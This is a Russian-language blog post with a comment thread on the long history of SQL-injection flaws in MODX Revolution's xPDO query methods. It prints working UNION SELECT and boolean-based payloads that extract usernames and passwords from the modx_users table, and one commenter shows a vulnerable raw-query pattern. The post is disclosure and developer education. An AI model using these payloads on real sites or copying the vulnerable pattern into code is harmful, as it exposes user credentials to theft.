История SQL-injection в MODX Revolution

История SQL-injection в MODX Revolution начинается с того, что любой багрепорт изначально воспринимается как «ожидаемое поведение».
Так было в декабре 2013 года с подготовкой запроса через метод toSQL

$q = $modx->newQuery("modResource");
$q->select('id,pagetitle')->where(array('alias'=>'qwe?', 'pagetitle'=>') UNION SELECT id,username FROM modx_users#' ))->prepare();
$q = $modx->query($q->toSql());
$result = $q->fetch(PDO::FETCH_ASSOC);
print_r($result);
// SELECT `id`, `pagetitle` FROM `modx_site_content` AS `modResource` WHERE ( `modResource`.`alias` = 'qwe') UNION SELECT id,username FROM modx_users#'' AND `modResource`.`pagetitle` = ? )
/** Array ( [id] => 1 [pagetitle] => admin ) */

Так в последствии стало и с методом getObject в начале марта 2014 года, когда в качестве демонстрации уязвимости был представлен код:
$data = $modx->getObject('modResource', $key);
$out = is_object($data) ? $data->toArray() : '';
print_r($out);
Со следующим набором значений $key
$key = 1;
$key = array( 'pagetitle' => 'Home' );
$key = array( 'pagetitle` IN (1) UNION SELECT id,username,password,1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,\'modResource\',34,35,36,37,38,39,40 FROM modx_users WHERE id = 1;/*' => '' );

Реакция ожидаемая — если ты передаешь парамеры без фильтрации, то сам себе злобный буратино. Но как выяснилось, один из таких буратин писал коннекторы в ядре. И багу начали править — 8 марта 2014 года в свет вышла версия MODX Revolution 2.2.13 в которой «закрыли» уязвимость. Обратите внимание на кавычки и последний абзац в заметке моего блога
Вышла версия 2.2.13 которая должна закрывать уязвимость с проникновением на сайт через контексты. Но сама SQL-injection при получении объектов все еще рабочая. Видимо сочли это менее критичным и решили что этот фикс может уже подождать до 2.3 версии. В общем всем рекомендую обновиться...
Ноябрь 2016 года и массовая истерия, а затем фикс. Нужно ли в очередной раз повторять, что это та же самая уязвимость?

И вот наконец еще одно ожидаемое поведение:
$key = ['1=(SELECT 1)'];
$key = ['NOT EXISTS(SELECT 1)'];
Евгений Борисов
12 сентября 2018, 12:23
7
651
+18

Комментарии: 21

Сергей Шлоков
12 сентября 2018, 13:59
0
Мда. Вот тебе и пифагоровы штаны во все стороны равны.

А эволюшн xPDO использует или это счастье досталось только Revoлюционерам?
    Евгений Борисов
    12 сентября 2018, 14:03
    0
    Нет, не использует. Там разработчики дополнений самостоятельно обрабатывают пользовательские данные.
      Сергей Шлоков
      12 сентября 2018, 14:14
      0
      Интересно. А как же с ресурсами работать? Ставить какой-то ORM?
Сергей Шлоков
12 сентября 2018, 14:15
+1
Решение — запретить неассоциативные массивы?
    Евгений Борисов
    12 сентября 2018, 14:17
    +1
    Скорее всего, разработчикам нужно тщательней руками фильтровать данные, а не полагаться на xPDO
      Сергей Шлоков
      12 сентября 2018, 14:41
      0
      Я так понимаю, что в getCollection такая же бяда.
        Евгений Борисов
        12 сентября 2018, 15:11
        0
        Да, но я не встречал еще выборок вида ->getCollection('modXXXXXX', $_REQUEST);
        Зато для ->getObject('modXXXXXX', $_REQUEST) можно найти массу примеров.
      Сергей Шлоков
      12 сентября 2018, 17:51
      +1
      На самом деле это не бага, это фича ))
      xPDO позволяет вставлять так называемые raw условия через массив со строкой аналогично методу whereRaw в Ларавел. И этим часто пользуются. Поэтому задача по безопасности ложится целиком не плечи разработчиков. Обязательно фильтровать данные, пришедшие от пользователя!
        Евгений Борисов
        12 сентября 2018, 18:13
        0
        Именно! Ну а раз так, то рано или поздно найдутся уязвимые компоненты. Возможно даже в ядро движка что-то просочится. Поэтому запасаемся попкорном:-)
        Андрей Степаненко
        12 сентября 2018, 19:28
        0
        Вообще можно свой фильтр установить для своих классов.
        В XPDO есть функция:
        https://github.com/modxcms/revolution/blob/2.x/core/xpdo/om/xpdoquery.class.php#L374
        Где можно фильтровать данные для своих таблиц. Правда без правки файла не обойтись.

        Пример:
        public function condition(& $target, $conditions = '1', $conjunction = xPDOQuery::SQL_AND, $binding = null, $condGroup = 0)
            {
               
                if ($className = $this->xpdo->loadClass($this->_class)) {
                    if ($this->xpdo->getPackage($className) == 'minishop') {
                        // тут проверка
                        return $this;
                    }
                }
        
                $condGroup = intval($condGroup);
                if (!isset ($target[$condGroup])) $target[$condGroup] = array();
                try {
                    $target[$condGroup][] = $this->parseConditions($conditions, $conjunction);
                } catch (xPDOException $e) {
                    $this->xpdo->log(xPDO::LOG_LEVEL_ERROR, $e->getMessage());
                    $this->where("2=1");
                }
                return $this;
            }
          Сергей Шлоков
          12 сентября 2018, 19:49
          0
          Андрей, всё гораздо проще. Если пользуетесь modHelpers, то там есть функция filter_data(). Можно фильтровать данные на событие onHandleRequest или непосредственно перед использованием.
          В простейшем случае для getObject используйте преобразование типов и массив.
            Андрей Степаненко
            12 сентября 2018, 19:59
            0
            Ну или так.
            Кстати, супер компонент modHelpers. Очень много вопросов закрыл с помощью него.
            Выше приведенный метод использовать для отправки данных в sphinxQL именно по этому привел его в пример)))
              Сергей Шлоков
              12 сентября 2018, 20:08
              0
              Выше приведенный метод использовать для отправки данных в sphinxQL именно по этому привел его в пример)))
              Надеюсь, вы помните про обновление.
                Андрей Степаненко
                12 сентября 2018, 20:18
                0
                Не понял про что.
                Про функцию «condition»
                public $customConditions = array();
                    public function condition(& $target, $conditions = '1', $conjunction = xPDOQuery::SQL_AND, $binding = null, $condGroup = 0)
                    {
                        // TODO Здесь установлен хук
                        if ($className = $this->xpdo->loadClass($this->_class)) {
                            if ($this->xpdo->getPackage($className) == 'sx') {
                                $this->customConditions = $conditions;
                            }
                        }
                
                        $condGroup = intval($condGroup);
                        if (!isset ($target[$condGroup])) $target[$condGroup] = array();
                        try {
                            $target[$condGroup][] = $this->parseConditions($conditions, $conjunction);
                        } catch (xPDOException $e) {
                            $this->xpdo->log(xPDO::LOG_LEVEL_ERROR, $e->getMessage());
                            $this->where("2=1");
                        }
                        return $this;
                    }
                $q->customConditions
                от сюда можно получить нормальный запрос

                Так как после преобразования запроса его уже нормально не обработать.
                Так я его смог передать в sphinxQL, ну а там уже собственно до лампочки какие SQL инъекции производятся в таблицы sphinxsearch… по сути влияют только на поиск.
Руслан
16 сентября 2018, 15:06
0
если делать так
$email = $_POST['emai'];
$email = $modx->stripTags($email);

$p_results = $modx->query("SELECT id,email FROM modx_my_user WHERE email = '$reg_email' limit 1");
$p_r = $p_results->fetch(PDO::FETCH_ASSOC);

поможет от инъекций?
    Евгений Борисов
    16 сентября 2018, 15:33
    0
    Нет:-)
      Руслан
      16 сентября 2018, 15:54
      0
      а что посоветуете?
        Евгений Борисов
        17 сентября 2018, 15:38
        +3
        1. Если используете сырые запросы, то посмотрите в сторону биндинг привязок.
        2. Если работаете с моделями через getObject/getCollection и т.п., то используйте ассоциативный массив во втором аргументе для передачи параметров вида ключ-значение, а не просто значение.
        3. Если строите выборку через newQuery, то проверьте насколько доверенные данные вы передаете в where и другие методы
        Это общие рекомендации. В любом случае начать нужно с документации к xpdo и pdo
Дмитрий Ломакин
17 сентября 2018, 16:10
0
$key = ['1=(SELECT 1)'];
$key = ['NOT EXISTS(SELECT 1)'];
не понял про это, просьба чутка разжевать
    Евгений Борисов
    17 сентября 2018, 18:37
    +1
    Boolean-based SQL Injection
    SELECT * FROM users WHERE 1 = (SELECT 1) # Все данные из таблицы
    SELECT * FROM users WHERE 1 = (SELECT 0) # Ничего
    Естественно вложенный запрос SELECT 1/0 может быть любым вида
    SELECT IF(count(*) > 1000, 1, 0) FROM content